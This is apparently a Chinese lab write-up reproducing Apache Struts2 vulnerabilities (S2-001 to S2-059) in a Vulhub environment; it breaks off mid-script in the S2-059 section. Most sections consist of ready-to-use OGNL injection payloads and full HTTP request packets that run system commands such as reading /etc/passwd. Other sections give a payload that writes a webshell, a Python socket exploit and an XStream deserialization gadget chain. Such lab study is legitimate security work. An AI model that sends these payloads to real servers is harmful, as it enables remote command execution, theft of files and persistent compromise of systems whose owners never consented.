Vulhub——struct2

news2024/11/17 7:23:41

文章目录

  • 一、Struct2
    • 1.1 Struct2简介
    • 1.2 判断Struct2框架
      • 1、URL中添加不存在路径
      • 2、URL添加/struts/domTT.css
      • 3、404、500响应码返回信息
    • 4、URL
  • 二、struct2相关漏洞复现
    • 2.1 s2-001
      • 手工复现
      • 工具探测
    • 2.2 s2-005
      • 手工复现
      • 工具探测
    • 2.3 s2-007
      • 手工复现
      • 工具检测
    • 2.4 s2-008
      • 手工复现
    • 2.5 s2-009
    • 2.5 s2-012
    • 2.6 s2-013
    • 2.7 s2-015
    • 2.8 s2-016
    • 2.9 s2-032
    • 2.10 s2-045
    • 2.11 s2-046
    • 2.12 s2-048
    • 2.13 s2-052
    • 2.14 s2-053
    • 2.15 s2-057
    • 2.16 s2-059
    • 2.17 s2-061

一、Struct2

1.1 Struct2简介

Struts2框架,用于开发Java EE网络应用程序的开放源代码网页应用程序架构。Struts2是一个基于MVC设计思路的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中(Model负责数据维护,包括数据和业务逻辑(Action),View负责向用户呈现数据(Result),Controller通过代码控制),Struts2作为控制器来建立模型与视图的数据交互。Struct2是一个Java网站框架。

1.2 判断Struct2框架

1、URL中添加不存在路径

对于如下URL:http://127.0.0.1:9999/S2_016_war/barspace/login.do
第1步:
在最后右边反斜杠处添加一个不存在的路径/xxxxxxxxxx/,如下所示:

  • http://127.0.0.1:9999/S2_016_war/barspace/xxxxxxxxx/login.do 返回与原URL相同页面,则是Struts2框架
  • http://127.0.0.1:9999/S2_016_war/barspace/xxxxxxxxx/login.do 返回与原URL异同页面,则是Spring框架

第2步:
如果两个URL均报错、或者均正常,无法区分,那么继续在前一个反斜杠处添加一个不存在的路径,如下所示:

  • http://127.0.0.1:9999/S2_016_war/xxxxxxxxx/barspace/login.do 返回与原URL相同页面,则是Struts2框架
  • http://127.0.0.1:9999/S2_016_war/xxxxxxxxx/barspace/login.do 返回与原URL异同页面,则是Spring框架

第3步:
如果还是没法区分,继续在前一个反斜杠处添加一个不存在的路径,如下所示:

  • http://127.0.0.1:9999/xxxxxxxxx/S2_016_war/barspace/login.do 返回与原URL相同页面,则是Struts2框架
  • http://127.0.0.1:9999/xxxxxxxxx/S2_016_war/barspace/login.do 返回与原URL异同页面,则是Spring框架

按照前面的步骤,依次添加不存在的路径,直到URL根目录为止。

2、URL添加/struts/domTT.css

在URL的Web应用根目录下添加/struts/domTT.css,如果返回css代码,那么99%是Struts2。

注:这个domTT.css文件在网站源码文件中是找不到的,用磁盘搜索的方式搜索不到的,那为什么能访问到呢,因为这个文件在Struts2的jar包中。
原理:凡是以/struts开头的URL,Struts2的过滤器都会到struts2-core-2.0.x.jar:/org/apache/struts2/static/下面去找资源,然后读取此文件内容。

例如:
在这里插入图片描述

注: 有一些低版本的Struts2框架,domTT.css文件不存在,需要更换为其它静态文件路径。

3、404、500响应码返回信息

输入一个不存在的路径,返回404页面,或者传入一些乱码字符,造成当前页面500响应码报错,抛出异常信息。在报错页面中,struct2常用的关键字有:no action mappedstruct2namespacedefined for action等。
在这里插入图片描述

4、URL

URL路径中出现.door.action大概率是struct2框架。

二、struct2相关漏洞复现

2.1 s2-001

漏洞原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

使用vulhub搭建s2-001环境:

docker-compose build
docker-compose up -d 

我这里是拉的其他环境

手工复现

在这里插入图片描述
判断是否存在代码执行:直接输入%{‘123’},提交后,看是否返回123。
在这里插入图片描述
在这里插入图片描述
存在代码执行。构造poc

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} # 获取tomcat执行路径:

在这里插入图片描述
获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} 

在这里插入图片描述
任意代码执行(将pwd改为自定义命令):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

在这里插入图片描述

工具探测

在这里插入图片描述
执行命令的话,先选中利用的漏洞,再执行相关命令。
在这里插入图片描述

2.2 s2-005

影响版本: 2.0.0 - 2.1.8.1

手工复现

有回显POC:

POST /example/HelloWorld.action HTTP/1.1
Host: 192.168.92.6:8080
User-Agent: Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.71 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=045F49F5BF5700A67813BA5DC93F5266
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 666

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

在这里插入图片描述

工具探测

在这里插入图片描述
在这里插入图片描述

2.3 s2-007

漏洞原理
当配置了验证规则 -validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然后配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 “'” + value + “'” 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQL注入单引号拼接的方式即可注入任意 OGNL 表达式。

影响版本: 2.0.0 - 2.2.3

手工复现

age栏中输入poc:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
在这里插入图片描述
在这里插入图片描述

工具检测

未找到能检测说s2-007的工具

2.4 s2-008

漏洞原理:
devMode下支持直接执行OGNL表达式,Cookie 拦截器错误配置可造成 OGNL 表达式执行,生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令。

由于debug模式本身就不该开放在生产模式,因此由debug模式引发的漏洞并没有对应的修复方案.

影响版本: 2.1.0 - 2.3.1

手工复现

在 devMode 模式下直接添加参数?debug=command&expression=,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):

http://192.168.92.6:8080/devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))

在这里插入图片描述

2.5 s2-009

漏洞原理:这个漏洞跟s2-003、s2-005 属于一套的。 Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023\43来绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法来执行它,从而绕过官方对#、\等特殊字符的防护。

影响版本: 2.1.0 - 2.3.1.1

有回显poc:

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

在这里插入图片描述

2.5 s2-012

漏洞原理:
如果在配置ActionResult时使用了重定向类型,并且还使用${param_name}作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里UserAction中定义有一个name变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本:2.1.0 - 2.3.13

有回显POC:

POST /user.action HTTP/1.1
Host: 192.168.92.6:8080
User-Agent: Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.71 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F5241BA08B8DC309C90EA66EC2E88838
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 461

name=%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"cat",+"/etc/passwd"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}

在这里插入图片描述

2.6 s2-013

漏洞原理:Struts2 标签中 <s:a> <s:url> 都包含一个 includeParams 属性,其值可设置为 nonegetall,参考官方其对应意义如下:

  • none - 链接不包含请求的任意参数值(默认)
  • get - 链接只包含 GET 请求中的参数和其值
  • all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

影响版本:2.0.0 - 2.3.14.1

POC:

http://192.168.92.6:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

在这里插入图片描述

2.7 s2-015

漏洞原理:漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能让我们访问[anything].action时使用[anything].jsp来渲染页面,但是在提取[anything]并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。

POC-1:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action(需要URL全编码)

GET /S2-015/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e HTTP/1.1
Host: 192.168.92.6:8080
User-Agent: Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.71 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F5241BA08B8DC309C90EA66EC2E88838
Upgrade-Insecure-Requests: 1
Priority: u=1


在这里插入图片描述

S2-015 还涉及一种二次引用执行的情况:

<action name="param" class="com.demo.action.ParamAction">
    <result name="success" type="httpheader">
        <param name="error">305</param>
        <param name="headers.fxxk">${message}</param>
    </result>
</action>

这里配置了<param name="errorMessage">${message}</param>,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行,因此只用提交%{1111*2}作为其变量值提交就会得到执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param} 引用了 Action 中的变量所导致的,并不针对于 type=“httpheader” 这种返回方式。

%{1111*2} # URL编码:%25%7b%31%2a%32%7d

在这里插入图片描述

POC-2:

%{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
GET /param.action?message=%25%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d HTTP/1.1
Host: 192.168.92.6:8080
User-Agent: Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.71 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F5241BA08B8DC309C90EA66EC2E88838
Upgrade-Insecure-Requests: 1
Priority: u=1

在这里插入图片描述

2.8 s2-016

漏洞原理:在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

影响版本:2.0.0 - 2.3.15

POC:

# 执行命令
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

# 获取web目录
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

# 写入webshell
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

在这里插入图片描述

2.9 s2-032

漏洞原理:Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。
影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
POC:

http://123.58.224.8:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

在这里插入图片描述

2.10 s2-045

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

POC:直接发送下面的数据包:

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',1*233)}.multipart/form-data


在这里插入图片描述

2.11 s2-046

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断。
由于需要发送畸形数据包,我们简单使用原生socket编写payload:

import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: 192.168.92.6:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('192.168.92.6', '8080'), timeout=5) as conn:
    conn.send(p + q)
    print(conn.recv(10240).decode())

在这里插入图片描述

2.12 s2-048

影响版本: 2.0.0 - 2.3.32

手工检测
这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://192.168.92.6:8080/showcase/即可查看到struts2的测试页面。访问Integration/Struts 1 Integration
在这里插入图片描述
触发OGNL表达式的位置是Gangster Name这个表单,输入${2*2}即可查看执行结果(剩下两个表单随意填写):
在这里插入图片描述
在这里插入图片描述
POC:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

在这里插入图片描述

工具检测
检测不到
在这里插入图片描述

2.13 s2-052

影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞原理
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名Content-Type解析方法
xmlapplication/xmlxstream
jsonapplication/jsonjsonlib或jackson(可选)
xhtmlapplication/xhtml+xmll
application/x-www-form-urlencoded
multipart/form-data

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>
//或者
<paramname class="classname"></paramname>

我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

漏洞复现
访问http://192.168.92.6:8080/orders.xhtml即可看到showcase页面:
在这里插入图片描述
POC数据包:

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

在这里插入图片描述

在这里插入图片描述

2.14 s2-053

影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞复现
环境运行后,访问http://192.168.92.6:8080/hello.action即可看到一个提交页面。

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

POC:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

在这里插入图片描述

2.15 s2-057

影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16

漏洞原理:当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true;
  • action元素未设置namespace属性,或使用了通配符。

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

访问http://192.168.92.6:8080/showcase会看到struct2的界面。

在这里插入图片描述

测试OGNL表达式${2*2}

http://192.168.92.6:8080/struts2-showcase/$%7B2*2%7D/actionChain1.action

在这里插入图片描述
POC:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在这里插入图片描述

2.16 s2-059

漏洞原理:Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

影响版本: Struts 2.0.0 - Struts 2.5.20

访问http://192.168.92.6:8080/?id=%25%7B233*233%7D,可以发现233*233的结果被解析到了id属性中:
在这里插入图片描述
POC:

import requests

url = "http://127.0.0.1:8080"
data1 = {
